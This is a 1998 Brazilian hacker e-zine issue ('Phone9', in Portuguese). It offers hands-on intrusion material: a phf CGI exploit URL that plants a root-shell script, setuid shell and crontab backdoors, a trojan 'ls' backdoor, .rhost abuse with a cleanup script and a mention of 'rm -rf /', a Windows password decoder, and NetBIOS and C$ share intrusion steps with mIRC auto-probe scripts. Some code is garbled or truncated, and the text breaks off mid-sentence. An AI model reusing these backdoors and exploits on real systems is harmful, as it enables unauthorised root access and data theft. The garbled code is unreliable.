[P9] - The Phone9 Communications Inc - [P9] _____ _____ / _ \/\ /\__ /\ /\__/ _ \ \ ___/ /_/ / _ \/ \/ / _ \__ / \ \ / __ / / / /\ / __/ / / \/ \/ \/\___/\/ \/\___/ \/ [ The Phone9 Communications Systems Inc ] .... .... Phear Yer Phone, 01 de setembro de 1998. edicao no.01| phone9@phone9.org [P9] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [P9] ............. / / \/\/\ / | \ .[ Phone9 - kicking the root down, since 1998|MADE IN .BR]. / ---/ / \__ / .[ Pagina oficial - http://www.phone9.org ]. \/ho \/\/e \/ .[ editor-in-chief - bloodroot|bi0tek - blood@phone9.org ]. [The Phone9.] [communications.] [Systems.(c)] Editor-in-chief: the blood root|bi0tek Co-editor: Phineas Phreak & Shad0w layout: puruca relacoes publicas: Autoridades maximas 'papai e mamae' The man with the plan: Keyser Soze a.k.a Cripple network operations: f0rce Str1cker webmaster: bloodroot founder: The blood root & the dert grafix dude: aSMa-Lag & bloodroot Askii efektiz: aSMa-Lag , blood root & Puruca 31337: Pr0digy|Offspring| Rage Against... fuck j00: Master Of Shame (0opss!! Shadow) 0wn3d: telnet.com.br | elogica.com.br | ucsd.edu Escritores: kkkk, the blood root, phineas phreak, acid branch, SEkr4t7, dert primal phear, sp1n freak, X-ploiter, bi0haz4rd, phone'warper, Marcelo Myara, cybergirl, lord byron, bytetricker, DeAd_Po0l, MaNdRaCk, Phantom Phreak, Soul Spy, Telephreak, Tom Waits, Rider Bloody, Thunder^t, mem-keeper, pr0c, Franz Kafka, Marcos Myara, Sy0ckS, aSMa-Lag, x1p, sm0g, cacaio Sistemas 0peracionais: Linux Red Hat 3.0| no wind0ze fundo musical: know your enemies - r.a.t.m.|smack my bitch up - pr0digy broadcast: Microsoftz.com | puruca.com.br | phone9.org | phuck.org ==[ v1.0 ]==[ .index.archivies ]== (c) 1998, productions. 1:. .phone9.sp0ts. 2:. Mais nocoes idiotas em setuid 3:. Tecnicas sado-masoquistas em windows 4:. Unix hack 0.00, licoes para quem ficou reprovado 5:. SunOS pre-loaded buggy 6:. PCS, Personal Communications Systems 7:. Detonando o cyberpatrol 8:. re-escrevendo arquivos de sisteam com VBzkripts 9:. Guia de seguranca em servidores WN-1.17 10:. backdoor cracker [bc20], tecnicas anais em sistemas linux 11:. Apache Web Server Guard - by bi0tek 12:. Phone9.Sekurity advisories... Em caso de panico quebre a janela 13:. Crackeando sistema No Trust - by X-ploiter 14:. Sekurity tools!!! 15:. Exploitacao por meio de CGIs - Parte I 16:. Apache Web server bugs 17:. Teste de vulnerabilidade em contas hotmail 18:. Falhas em extensoes HTML .ASP... 19:. The Phone9 communications, departaments. quotas.: O que deus fazia antes de contruir a terra? - Shoo w0ng When!? Today? Tommorow? We were there yesterday - phear 10t3k You can make people buy shit, if you sell it right - Bill Gates Dammit.... Not again!!! - Ruindows95/98 users --> ph0ne9.0rg <-- phone9@phone9.org - Qualquer reclamacao, artigos, comentarios, mailbombz, e ate' fuck j00... [P9] [P9] ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³1 - .ph0ne9.sp0ts ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Bem vindo a mais uma edicao da Phone9, espero que voce tenham gostado da outra edicao pois nos adoramos faze-la (provavelmente... ;)), nesta nova edicao, nos iremos colocar mais informacao nao tao seguras ;) Com a ajuda de varios novos membros e escritores acho que desta vez a zine vai de vez com todo o pessoal que nos esta ajudando, acho que devemos chegar a algum lugar, talvez... Pedimos desculpa pela demora que a zine teve para lancar a segunda edicao, pois nos ficamos escrevendo artigos para a zine, e se nos podemos dizer assim, nos temos uma vida pessoal tipo sexo festas, redes, trabalhos, escolas.... Nos tambem ficamos desenvolvendo ferramentas para o seu administrador, e o seu hacker-guru preferido, entao nao fique nos culpando pelo atraso da zine, pois eu tenho um monte de desculpas, iguais as que eu uso com a minha quando chego atrasado na aula ;) - Abducao alienigena, provavelmente um dos mais sequelados foi o computador do Phineas, coitado... Veja o codigo abaixo e veja a verdade sobre axur, phineas e outros... 5b=10 10 popup quit b:popup sleep using ems "c:\alienintruder" 30 b=b-1:delay 1:locate int(rnd(1)*23+1),(int(rnd(1)*70)+1),1 35 if b=1 then let b=10; print "Eu sou um alien axuriano tentando se comunicar com voce" 60 goto 10 Compile o programa com Power Basic 3.0 e deixo-o rodando na casa do wizard (M.O.S) ou entao de outro lamer da vida... Sera a invasao alien??? PS: Depois da aula sado-masoquista da mae do Phineas, ficamos todos fudidos principalmente o Puruca ;) Mas agora falando serio, a Phone9 atrasou basicamente por que nos somos meio lerdos, e nos tivemos uma serie de problemas com o pessoal daqui do rio, principalmente a telerj, que so nao prendeu o dert, porque ele conseguiu fugir a tempo. Entao nos temos uma penca de problemas, desculpas e ainda por cima prisoes??? What fuck is going on with this crazy w0rld, dude! Esta edicao da Phone9, vem cheia de surpresas, parece um programa do ratinho ;) E' claro que sem o caso da invasao alien na axur... Nos pegamos varios artigos de varios karinhas estranhos, muito estranhos e tacamos tudo junto, fazendo aquela meleca de sempre, os novos P9rs escreveram poucos artigos (eu acho que eles ainda nao se acostumaram direito com os nossos habitos... ;) Mas todos contribuiram na medida do possivel para a zine, assim voce pode contemplar diante dos seus olhos a nova edicao da Phone9. Um pequenos fuck you de todos nos para o sistema, e um pequeno fuck off de todos para nos, entao vamos na punheta ate' a ejaculacao pre- coce passar!!! O que um dia ja foi um exercicio intelectual sem nenhuma intencao maliciosa hoje em dia e' mais que o suficiente para botar dinheiro no bolso de um promotor de merda. Agora pense bem... Antes nos sem intencoes maldosas, do que outros com verdadeiros truques terroristas! [MOD]??? Mas por onde devemos começar? Durante nossos estudos para fazer esta zine, organizamos o conjunto de conhecimentos de hackers mais inteligentes de todos os continentes,. Como resultado, coletamos informacoes que se confirmam, se contradizem ou ignoram algumas anotacoes.Se tivessemos cedido aos nossos anseios iniciais, de simplesmente contar tudo que escutavamos, esta zine seria dez vezes maior do que e' e nos ainda a estariamos fazendo! Portanto, o que fizemos foi escolher os assuntos que, a nosso ver, oferecem a visao mais clara do hack, phreak deste mundo. Ha muita coisa que omitimos - embora relutassemos em faze-lo - e muitas coisas foram atenuadas, mas o nosso destino e' o mesmo, e sempre sera o mais proximo possivel, pois nem tudo que te dizem e' verdade... Lembrem-se: A verdade esta la' fora, aqui dentro so tem mentira... ;) Agora, stand and relax, e leia a zine com atencao... e aproveite a sua insignificancia, enquanto pode... .[bloodroot. - blood@phone9.org - " I am weirdo!!! " ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³2 - Mais nocoes idiotas em setuid ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° So' para completar a materia da outra edicao sobre suid bug's, eu resolvi lavar a mao, explicando mais um pouquinho sobre setuids no unix, e mais tecnicas milaborantes ( olha, que palavra escr0ta )!!! Entao. Que venham los bugados... Setando programas para setuid: chmod +x /arquivo Retirando o atributo setuid do programa: chmod -x /arquivo Executando scripts cgi, sobre a uid do dono do processo: Vamos tomar como exemplo o servidor apache , que armazena os cgi's no direto rio /home/httpd/cgi-bin/, tambem tomamos como exemplo o phf.cgi. Agora vamos no /home/ftp/incoming/ ou /tmp e colocamos este script la': ... #!/bin/csh #(c) cgi abUser - by b_root if [ whoami != root ] then echo "Voce obte-ve root no sistema" /bin/cp /bin/csh /tmp/rootshell echo "Execute /tmp/rootshell" else goto noroot fi noroot /usr/bin/id # Mude o necessario... /bin/cp /bin/sh /tmp/stupid-b1tch echo "Execute /tmp/stupid-b1tch" ... E' claro chmod a+x /tmp/cgiabuser Agora simplesmente digite este endereco, e deixe que o script faz o resto: http://jackass.com.br/cgi-bin/phf?Qalias=x%0a/tmp/cgiabuser Identificando o dono do arquivo: ls -l nome.do.arquivo Procure pelo nome na 3 coluna. Identificando se esta ou nao setuid: Se quando voce der ls no seu diretorio, voce encontrar algo assim: ... Permissoes uid user grupo tam. mes dia hora nome ---------- --- ---- ----- ---- --- --- ---- ---- -rwxr--s-- 1 hacker hackerusers 1234 Aug 09 00:00 phuck ... Se --s-- existir, entao o arquivo e' setuid. Rede de suid: Esta e' boa, fazendo uma rede de suid... hack:/home/hack> touch blah hack:/home/hack> cat blah #!/bin/sh #blahblaum /bin/cp /bin/sh /tmp/phuck chmod a+x /tmp/phuck hack:/home/hack> ln -i /home/blah /bin/sh hack:/home/hack> exit Agora, qualquer um que executar o /bin/sh ou /home/blah, tera automaticamente a sua shell copiada para /tmp/phuck... Falando Csadamente: #include char *getpass(const char *prompt) { printf("Phone9 Sux, even s4x know this"); printf("Exemplo de suid shell em C "); printf("Voce ja' tem shell!!!\n"); fflush(stdout); system("/bin/cp /bin/sh /bin/suidshell"); system("chmod +s /bin/suidshell") } Kernel ev1l: Enquanto a kernel esta loudando o /bin/sh , voce coloca outro programa no lugar daquele. %nice -19 suidprog ; ln -s evilprog suidroot Adicionando comandos no crontab: Esta e' bem simples, voce adciona esta linha no arquivo do a seguir: /var/spool/cron/crontab/root :) ... 2 2 * * * cp /bin/sh /tmp/fuchs ... Entao a partir da 2:00 da manha, voce tera root no sistema, executando /tmp/fuchs The blood root Mais nocoes estupidas em setuid... reg(c) 1998, productions ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³3 - Tecnicas sado-masoquistas no windows ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Primal Phear ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Bom, o intuito deste texto eh acabar de vez com as tecnicas lamers, de como se invadir um computador win95, uma vez q este esta conectado na internet, este texto inclui tecnicas vivas e ativas, q funcionam hoje em dia, e tbm inclui um arquivo explicando por quer algumas tecnicas difamadas pela galera nao funcionam..... e mais algumas tecnicas em windowsNT e Internet Exploder. Agradecimentos ao pessoal da W3b Hackers e bi0haz4rd em especial, e ReNeGaDe da TDK... I.) filesharing bug II.) Ataque nbtstat III.) ripando password do BIOS IV.) password do windows V.) programa decriptador de passwords VI.) Password do screen saver do windows VII.) Winhack Gold, irc attack para windows95/nt/98 VIII.) Verdadeira tecnica de invasao por IP - ReNeGaDe I.) filesharing bug 0kay, entao a pouco mais de um ano, um grupo brasileiro, chamado BHC (brasilian hackers club), lancou um documento explicando certas vulnerabilidades na conexao via rede dial-up na internet, o documento fez um tititi na internet toda, funcionava ou nao? Teoriacamente este bug jah fazia parte do win3.x na hora q ele comecou a se adaptar para a internet. Em todo o caso, acredito q todo mundo jah deve ter lido este documento quem ainda nao leu ai vai: :>[ Invasao por IP ]======================================================<: Invasão por IP - por LiquidByte (BHC) Alegria de uns, tristeza de outros, na verdade, aqueles que utilizam a rede Dial-Up do Win95 para sua conecção com a internet podem estar correndo sérios riscos a não ser, é claro, que assim conectam-se propositalmente, com intenções "diversas". Utilizar-se de uma conecção PPP do Win95 num provedor de acesso, significa estar disponibilizando seu computador a todos os usuário da net. Mesmo sem o compartilhamento de arquivos, existem diversas ferramentas que permitem a outra pessoa conectar-se ao seu computador caso você esteja utilizando esse tipo de conecção. Conecte-se à Internet utilizando a rede Dial-Up do Win95. Se o seu provedor não disponibilizar uma conecção do tipo PPP, estas dicas não funcionarão. Verifique antes, se você possui os drivers clientes para redes Microsoft. Caso não estejam instalados, instale-os através do Painel de Controle, no ícone Redes. Verifique também se o compartilhamento de Arquivos e Impressoras está instalado. Se estiver, você estará sujeito à que outra pessoa conecte-se ao seu computador simplesmente sabendo seu IP. Se bem que, para aqueles que já sabem, existem mil maneiras diferentes de se "burlar" a fraquinha segurança do Win95. Para você poder encontrar outros computadores compartilhados, você deve configurar WINS e LMHOSTS. O WINS é utilizado para localizar os computadores com IP fixo. O LMHOSTS, é acionado automaticamente na procura de computadores que possuem IP dinâmicos. Configurar essas opções é simples. Vá ao Painel de Controle e abra Rede. Verifique as propriedades do protocolo TCP/IP. Alí você encontrará a opção para ativar a resolução WINS. No caso de você não conhecer nenhum servidor WINS, utilize 204.118.34.6 como primário e 204.118.34.11 como secundário. Esses servidores são dos USA, e gratuítos. Caso queira outros endereços, utilize um dos mecanismos de busca na Internet. Para configurar o LMHOSTS, você precisa criar um arquivo texto simples, utilizando-se atá mesmo o Bloco de Notas do Windows. O arquivo criado deve chamar-se LMHOSTS. É nesse arquivo que ficarão os endereços de IP e os nomes dos computadores que você terá acesso. Para localizar um determinado computador, você digita o seu número de IP e a seguir seu NetBios, na mesma linha, separados por um espaço. Se você executar o programa NESTSTAT, seguido da opção -N, você obterá essa lista, com o nome e o IP de seu computador sempre sendo o primeiro da lista, seguido das outras máquinas disponíveis, tudo numa janela DOS. Através do Explorer você poderá ver os computadores disponíveis na rede,dos quais você ainda poderá utilizar os discos mapeando-os, o que os tornará unidades de seu computador. :>[ Invasao por IP ]======================================================<: Okay, entao vamos analizar a tecnica q ele explica, ele afirma q se voce adaptar manualmente um computador a sua rede windows95, e este utilizar um sistema de compartilhamento mal configurado , permitindo q outras pessoas utilizassem a sua impressora e seus arquivos remotamente, como isto eh uma opcao oferecida pela microsoft eh problema do nerd do bill gate$, mas em todo o caso, existe um serio problema neste ataque... Nao se eh possivel se adaptar um computador remotamente a sua maquina, sem q este esteja em rede direta com voce. Ou seja, ou voce adciona o computador descentemente e nao em uma lista de host confiavies (.rhost aka LMHOSTS.SAM), por exemplo o sistema de gerenciamento de rede da IBM, NAT.EXE. Eh a ferramenta NET.EXE, por meio destes programas voce podera invadir o computador de alguem via Internet nao desmerecendo a tecnica do liquidByte, q pode ateh funcionar, mas com os testes q eu ja' havia feito, nunca funcionou. II) Ataque nbtstat Esta tecnica e' bastante conhecida, mas para quem nao sabe.... 1o. Passo: Procure um computador em rede, utilizando o windows95 como sistema operacional. 2o. Passo: achado um, passe um port scanner nele e veja se a porta 139 esta aberta. 3o. Passo: Depois digite em um prompt do MS-DOS o seguinte comando: 'nbtstat -A xxx.xxx.xx.xx' Onde os xxx e' igual ao IP do kara. Caso tudo corra bem, voce devera ver uma tela assim: NetBIOS Remote Machine Name Table name Type Status ---------------------------------------- ^PHONE9 <00> UNIQUE Registered PPHEAR <00> GROUP Registered ^BLOODR <03> UNIQUE Registered MAC Address = 44-45-53-54-00-00 4o. Passo: Lembre-se do primeiro UNIQUE. Anote-o em um papel ;) 5o. Passo: Edite o arquivo C:\WINDOWS\LMHOSTS.SAM. Coloque dentro do arquivo a seguinte referencia: 'xxx.xxx.xxx.xx ^PHONE9' e salve o arquivo. 6o. Passo: Digite 'nbtstat -r'. Para reconhecer o novo computador na rede. 7o. Passo: Acesso a iniciar->localizar->computador->nome do UNIQUE. E voila, voce devera ver um icone, clique duas vezes sobre ele e pronto voce jah tem aquele computador na sua rede. III.) ripando password do BIOS Para quebrar o password do BIOS voce pode se encontrar duas situacoes: 1- Se voce pegar o computador depois que o password foi passado corretamente use um desses programas: amipsw.com (230b) ami.com (555b) aw.com (1,83k) amidecod.com (1,79k) 2- Se voce pegar o computador desligado ou esquecer o password: - Ligue o micro e entre o setup; - Anote TODOS os dados em um papel; - Desligue e abra a CPU; - Ache uma bateria na motherboard e retire-a; - Espere uns 20 minutos e recoloque a bateria; - Ligue o micro novamente e entre no setup; - Re-configure todos os dados que vocˆ anotou. ( tecnica por AcidMud ) IV.) Password do windows O win95 e' tao merda, q chega a dar pena, quando voce entra no windows o minimo q o tio bill fez foi clocar 'bem vindo ao windows digite sua senha:' Para nos Uebhacker, isto nao e'tao problema, entao voce tenta aperta o 'ESC' e derepente voce entra no sistema, sem problema, tbm se voce apertar 'crtl+alt+del' voce pode fechar a funcao 'logon' do siste ma, assim voce entra sem problema. Mas oq muitos raquers nao veem e' q, existe um sistema chamado 'DESKTOP LOCKER', do qual somente as pessoas q tem a senha certa do login, tem acesso ao verdadeiro desktop do cara, o q nao impe de voce verificar alguns registros no sistema e facilmente quebrar esta estupida protecao, uma vez tendo acesso ao painel de controles, voces sabem o q devem fazer ;p V.) Programa decriptador de password do windows Esta e' velha e foi tirada do documento alt.2600 FAQ by voyager, mas o codigo fonte foi feito por Wayne Hoxie. /* Este e' o codigo, compile em unix e rode no /DOS/windows/, ou entao mude um pouco o codigo e faca uma adaptacao para o windows */ #include #include #include int xor1(int i,int j) { int x; x=i^j; return (x>126||x<33||x==91||x==93||x==61)?i:x; } void main() { FILE *f; int i,l; char s[80],s1[80]; printf("Entre o caminho para o diretorio do windows\n"); gets(s1); sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\"); if((f=fopen(s,"rt"))==NULL){ printf("File Error : %s\n",sys_errlist[errno]); exit(0); } while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f)); fclose(f); strtok(s1,"=\n"); strcpy(s,strtok(NULL,"\n")); i=strlen(s)-1; for(l=i;l>-1;l--) s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1); for(l=0;l main() { int c; while((c=getc(stdin))!=EOF) { c=c^9; putc(c,stdout); } } VI.) Password do screen saver Para retirar o password de Screen Saver do Windows 3.x voce deve editar o arquivo control.ini, apagando tudo o que tiver na area do password. Para retirar o password do Screen Saver do WIN95, renomeie todos os arquivos de extensao .pwl do diretorio do windows. Anote os nomes alterados em um papel para eventuais problemas. Para desligar o screen saver sem ter o password no win 3.1 (ainda nao foi testado no 3.11 ou no WIN95), aperte ctrl+alt+del e enter varias vezes que o screen saver sera fechado. VII.) Winhack Gold, irc attack para windows95/nt/98 Okay, entao voce esta de saco cheio de teardrop? jolt? jont? Entao, voce vai adorar esta, o primeiro passo e' pegar o seu IrcII ou bitchX ( que alias possui um otimo buffer overflow, explicado na nearz07.txt (www.cyberspace.org/~nearz) visite agora mesmo!!!! ;)) Entao, que tal invadir o computador dele, sem que este perceba? Sem nenhum truque estupido... Just pure C code!!! Compile o codigo que vem no .zip "gcc winhack.c -o winhack" winhack -d 200.233.232.x -o Scan -b --- Scaneia os host win95,winNt e Win98 que sao vulneraveis... winhack --- roda o programa winhack -d 200.255.46.x --- Define a classe subnetC que voce ira scanear.... -o = Arquivo de Output -b = roda em background ( & em linux ) Para adciona-los para o irc faca o seguinte: Coloque no script.ini: [script] n0=on 1:DNS: { n1= set %killaddr $iaddress n2=run \\ $+ [ %killaddr ] n3=} Agora rode /dns nick, e este estara testando a vulnerabilidade do cara!!! Agora edit o popup.ini e coloque estas linhas: n23=Exploit:/dns $$1 n24=ExploitAll:/alldns Scaneia todos os dns do canal!!!! --------------------------------- Edita o aliases.ini e coloca isto: n15=alldns { n16=set %total $nick($active,0) n17=:start n18=dns $nick($active,%total) n19=dec %total n20=if %total == 0 { halt } n21=goto start Pronto, agora hack and g0!!!! Para se proteger.... -------------------- E' simples, vai no menu iniciar -> configuracoes -> Painel de controle -> redes!!! Clique em clientes para rede microsoft, caso voce nao tenha este cliente, deixe-o como esta, nao vale a pena instala-lo somente para ser hackeado!!! Selecione efetuar logon em dominio NT e logo embaixo, efetuar logon e restaurar conexoes de redes [blah..blah...blah...!] Da' [ok]! E logo depois, clica no botao compartilhamenteo de arquivos e impressoras: E deselecione as opcoes "Desejo que outros usuarios tenham acesso aos meus arquivos" e "desejo que outros usuarios tenham acesso a(s) minha(s) impressora(s). Ou entao outra versao bem mais facil de se resolver o problema... --- ren c:\windows\systems\vnbt.386 vnbt.bak --- del c:\windows\systems\vnbt.386 Agora que voce esta seguro temporariamente, vamos esperar pelo patche da microsoft.... Se existir um!!!! Os codigos estao no .zip da zine, enjoy!!!!!!!!!! VIII.) Verdadeira tecnica de invasao por IP - ReNeGaDe Hi All! Sou ReNeGaDe e na ultima zine TDK nao fiz uma materia interessante mass nesta me inspirei espero que gostem. Antes de iniciar, quero deixra bem claro que nao tenho nenhuma responsabilidade do que pode acontecer se executado o procedimento citado, pois qualquer coisa que venha a acontecer eh problema todo seu. Vamos lah primeiro este metodo de invasao pega no Win NT e o 98B tambem. Para pegar no Win 95 tem que estar, com as atualizacoes feitas mas nao garanto que funcione. Vamos ao que interessa que ganhamos mais! 1o - Metodo de INVASAO: Basta voce executar esta pequena linha: net use * \\ip_da_vitima\C$ 2o - Como proteger sua maquina: Se voce nao notou o C$ eh o compartilhamento padrao nos Windows para proteger ja sabe nao?!? Basta apenas modificar este compartilhamento! Agora voce nao sabe modificar o compartilhamento voce eh belo de um FDP mais tudo bem vai no Internet Explorer botao direito do mouse escolhe ah opcao compartilhamento e PRONTO! Modifica. 3o - Uma observacao bem interessante: Para que voce possa invadir e ser invadido seu computador tem que esta confi gurado para ser usado em REDE, quer dizer nos Win NT e 98B eles concerteza ja estao no 95 pode nao pegar porque simplesmente muitos deles nao estao configurados para ser usados em REDE. Caso nao pegando no Win 95 com a REDE instalada feitas atualizacoes e etc. Entao instala o NT porque pelo menos e um windows que dah pro gasto. Eh isso ae pessoal aqui se encerra mais uma materia da TDK! Se tiverem interesse em tirar duvidas ou apresentar novas ideias, aqui estah o meu email. Mais sem babozeiras hein pessoal vamos ter um bom senso pois nao sou desocupado. cya l8er! ReNeGaDe@DeathKnights.com NOTA(feita por Cacaio): Bem, lembremos que isso so' funciona se voce estiver no win. Infelizmente nao da pra fazer o mesmo em unixes e sabores, mas tbm em unixes nao se e' vulneravel. -- TEXTO POR ReNeGaDe - renegade@deathknights.com -- ---------------------------------------------------------------------------- Primal Phear - Windows Hacker Guide (c) - phear@phone9.org ---[ Com a ajuda de.... ]--- 8x8> the blood r0o7 -> how long? not long, couse no lie can stand soo long reg - (c) 1998, productions [talk to my lawyer!!!!] ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³5 - Unix hack 0.00, licoes para quem ficou reprovado... ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° The Unix hackers guide 0.00 by The blood root [00] - Prefacio [01] - Hackeando estupidos .rlogin [02] - ls backdoor [00] - Prefacio: Badab0m, esta vai para aqueles q querem saber mais sobre dicas estupidas de como se hackear um sistema unix, eu pretendo lancar mais dicas estupidas para pessoas q perdem o tempo lendo esta merda.... Entao como esta eh a primeira edicao, eu acho melhor comecar pelo principio basico da maioria dos sistemas, eh claro quando existe algum admin tao burro a ponto de deixar o .rlogin funcionando no sistema. Depois vem mais uma tecnica, esta jah eh mais simples, ls backdoor, e' muito pouco tecnicas, mas se bem feita, pega o sistema inteiro de pernas pro ar, e provavelmente este estara sem calcinhas... tecnicas maneiras de como realmente fazer alguns admins ficarem pasmos com a sua falta de experiencia em tipos de ataques, entao vamos para o guia mais lamer sobre como hackear unix.... ;p "What kevin mitnick is about is creating a mythology of a" "hacker threat and using that threat to expend the government's" "statutory authority and increase it's wiretappin' capabillity" "Find me an induvidual who was hurt. Find me a company that was" "hurt. The most you can say is that some companies had to close" "security holes......... and arguably they would have had to do" "anyway" - Mike Godwin, staff do Eletronic Freedom Foundation. entao, vamos comecar com este manual, antes q eu perca meu tempo com outra coisa.... - regards, The blood root - blood@puruca.com.br [01] - Hackeando estupidos .rlogin Okay, entao voce passou 30 dias procurando um servidor vulneravel a 'statd', e de repente bewm.... achou um, digamos pentagon.gov (uauh?) pena q depois dos rackers enfercores eles fecharam a falha de seguranca. (DROGA EU PODIA TER IDO NA TV POR CAUSA DE UM ESTUPIDO BUG) Bom, deixa para lah.... eu tento agora o umount bug, otimo, achei um logo de cara, e quem diria SOL (Stupidos On-line). Agora, eu consegui root no sistema deles, mas infelismente eu ia sair para o fun club em mais uma 2600 meeting's , entao eu vou tentar colocar um pequena backdoor lah, e de repente, dentro do /home/silsantos/, eu acho um arquivo .rhost para a concorrencia globo.com.br, sera uma conspiracao? Acredito q nao, provavelmente alguem deve ter deixado aquilo ali, do jeito q aquele merda do silvio santos eh tao burro, ele nem saberia como usar um ruindows (arrrrrggggggg...... ;)). O caso eh q dentro do /home/silsantos/ eu acho um .rhosts, bom para mim, vou chegar na hora pra 2600 meeting. Entao, lah vamos nos, primeiro precisamos saber o q eh um arquivo .rhost?!?! Entao.... Explicacao oficial: Arquivo permite conexao a outros sistemas pre-determinados no arquivo, assim ao se conectar por rlogin, ele nao requer password, mas vez q somente o username eh o suficiente. Explicacao nao-oficial: Hackin'toolz, serio, sem brincadeira, imagina voce tem um arquivo q permite voce se conectar a um computador sem qualquer password, somente utilizando como seguranca apenas um username, q eh especificado no nome do diretorio dele (/home/user) , ou entao no /etc/passwd, e em varios outros arquivos do sistema, seja como for, vamos exploitar este coitado do .rhost . Okay, entao para se exploitar arquivos .rhosts, eh bem simples, primeiro, eh necessario se saber para qual sistema o .rhost esta setado, um simples cat /home/blood/.rhost pode resolver isto,mas depois disto basta digitar esta linha de comando na sua shell: rlogin -l blood blood.phone9.org e pronto voce estah dentro do sistema, considerando q: rlogin = comando necessita dos daemons rlogind e rshd (as vezes) -l = Argumento necessario para especificar a opcao -login no comando todo.... blood = username, mude isto pelo username do cara q tem o .rhost no sistema dele. blood.phone9.org = Host do qual voce tem acesso .rlogin no sistema. /bin/sh -i = Comando para ser executado dentro do servidor, por mudar desde /bin/sh para rm -rf / (nasty, ham?) Limpando o caminho: -------- - -------- Otimo, como voce jah deve ter imaginado como eu posso fazer um "ataque" .rhost sem deixar vestijos?!?!?! Bom, abaixo vao algumas tecnicas q podem aliviar um pouco o seu caminho, ajudando a sua sobrevivencia no sistema: 1. Este limpa o arquivo .rhost logo depois de voce se logar no sistema: ----------------[ .rhost lixeiro ]-------------- #!/bin/sh #(c) the blood root $PATH= #coloque o diretorio do lamer $USER= #coloque o user do lamer $SYS= #coloque o sistema para qual o rhost deve ir echo ".rhost lixeiro" echo "Phone9 0.01 - www.phone9.0rg" touch /tmp/.rshell /bin/cp /bin/sh /tmp/.rshell #shell no /tmp/.rshell cd / cd $PATH rhost -l $USER $SYS /tmp/.rshell cd $PATH mail blood@microsoftz.com > ~/.rhost.resultado echo "" >> ~/.rhost.resultado find / -name .rhosts -print >> ~/.rhost.resultado echo "chekout ~/.rhost.resultado e veja merda de seguranca q vc" echo "tem no seu computador.... aprenda mais sobre unix-fu ;p" ----------------[ .rhost seeker.sh ]---------------- Tbm, existe um meio de tornar mais faceis as .rhost de serem executadas por qualquer um, usando um esquema parecido com o do suidroot, entao veja: ----------------[ .rhost suidroot ]---------------- #!/bin/sh $RHOST= #coloque o caminho para o .rhost, /xxx/xxx/.RHOST echo "-------------------------------------------" echo "SUiD r0ot em .rh0sts files... paga pra ver?" echo "-------------------------------------------" chmod +s $RHOST echo "d0ne.... phear yer hacking is done" ----------------[ .rhost suidroot ]---------------- Acho q isto jah basta para voces na hora de executar os .rhosts em sistema inseguros por ai... ;p [03] - ls backdoor Esta realmente eh muito boa, eh praticamente perfeita, com uma certa inteligencia e esperteza, voce pode instalar esta pequena backdoor em qualquer sistema e em qualquer diretorio q voce quiser, e se ainda estiver com problemas utilize um dos scripts abaixo para facilitar a entrada do script no sistema. Otimo, entao ai vai o codigo do script com as devidas intrucoes, voila e enjoy... ;) nomeie o arquivo como ls... ---------------[ ls backdoor ]------------- #!/bin/sh #the blood root (c) 1998, - blood@microsoftz.com touch /tmp/ls.shell /bin/cp /bin/sh /tmp/ls.shell chmod 4755 /tmp/ls.shell ls ---------------[ ls backdoor ]------------- Explicacao: touch /tmp/ls.shell = Cria o arquivo no /tmp/ls.shell /bin/cp /bin/sh /tmp/ls.shell = Copia a shell do executador para ls.shell chmod 4755 /tmp/ls.shell = Atribui RWX para todos os usuarios do sistema. ls = Continua com o comando LiSt do diretorio, como se nada tivesse acontecido.... ls backdoor fun --------------- Agora, eh bem simples veja este scripts e utilize se quiser... ;p 1. the hunter - Este script simplesmente ira colocar o ls backdoor em todos os diretorios do sistema, precisa ter root no sistema... Eh necessario especificar o caminho para o ls, eu presumi q ele estivesse no 